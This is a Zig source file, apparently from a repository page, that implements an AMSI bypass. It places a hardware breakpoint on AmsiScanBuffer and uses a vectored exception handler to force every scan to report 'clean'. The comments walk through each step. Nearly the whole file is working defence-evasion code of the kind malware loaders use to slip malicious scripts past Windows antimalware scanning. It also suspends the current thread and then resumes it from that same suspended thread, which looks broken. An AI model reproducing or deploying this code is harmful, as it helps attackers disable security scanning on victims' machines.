52 lines
2.6 KiB
Zig
52 lines
2.6 KiB
Zig
// 4. AMSI bypass — hardware breakpoint on AmsiScanBuffer. No bytes modified in amsi.dll.
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// 1. g_veh_handle — VEH registration handle, g_amsi_scan_addr — cached AmsiScanBuffer address.
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// 2. amsi_veh_handler — SINGLE_STEP → RAX=0 (AMSI_RESULT_CLEAN), skip the function body.
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// 3. patch_amsi — LoadLibraryW("amsi.dll") → GetProcAddress → AddVectoredExceptionHandler →
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// SuspendThread → SetThreadContext(DR0=scan_addr, DR7=1) → ResumeThread.
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// Suspend/Resume pair is required because SetThreadContext while running can race.
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const std = @import("std");
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const win = @import("win32.zig");
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const api = @import("api.zig");
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var g_veh_handle: ?*anyopaque = null;
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var g_amsi_scan_addr: ?*anyopaque = null;
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// VEH handler: on SINGLE_STEP at g_amsi_scan_addr → RAX=0, RIP=ret_addr, skip function
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fn amsi_veh_handler(ex: *win.EXCEPTION_POINTERS) callconv(win.WINAPI) win.LONG {
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if (ex.ExceptionRecord.ExceptionCode == win.EXCEPTION_SINGLE_STEP and
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ex.ExceptionRecord.ExceptionAddress == g_amsi_scan_addr)
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{
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ex.ContextRecord.Rax = 0; // AMSI_RESULT_CLEAN
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const ret_addr = @as(*usize, @ptrCast(@alignCast(@as(*anyopaque, @ptrFromInt(ex.ContextRecord.Rsp))))).*;
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ex.ContextRecord.Rip = ret_addr; // jump to AmsiScanBuffer's caller
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ex.ContextRecord.Rsp += 8; // pop return address
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return win.EXCEPTION_CONTINUE_EXECUTION;
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}
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return win.EXCEPTION_CONTINUE_SEARCH;
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}
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pub fn patch_amsi() void {
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if (g_veh_handle != null) return;
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api.ensure();
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const load_w = api.amsi_load_library_w orelse return;
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const get_addr = api.amsi_get_proc_address orelse return;
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const veh = api.amsi_add_vectored_exception_handler orelse return;
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const cur_thread = api.amsi_get_current_thread orelse return;
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const set_ctx = api.amsi_set_thread_context orelse return;
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const suspend_thread = api.amsi_suspend_thread orelse return;
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const resume_thread = api.amsi_resume_thread orelse return;
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const amsi = load_w(&[_:0]u16{ 'a', 'm', 's', 'i', '.', 'd', 'l', 'l', 0 });
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if (amsi == null) return;
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g_amsi_scan_addr = get_addr(amsi.?, "AmsiScanBuffer");
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if (g_amsi_scan_addr == null) return;
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g_veh_handle = veh(1, amsi_veh_handler); // 1 = first in handler chain
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const thread = cur_thread();
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var ctx = std.mem.zeroes(win.CONTEXT);
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ctx.ContextFlags = win.CONTEXT_DEBUG_REGISTERS;
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ctx.Dr0 = @intFromPtr(g_amsi_scan_addr.?); // breakpoint address
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ctx.Dr7 = (1 << 0); // enable DR0 locally
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_ = suspend_thread(thread);
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_ = set_ctx(thread, &ctx);
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_ = resume_thread(thread);
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}
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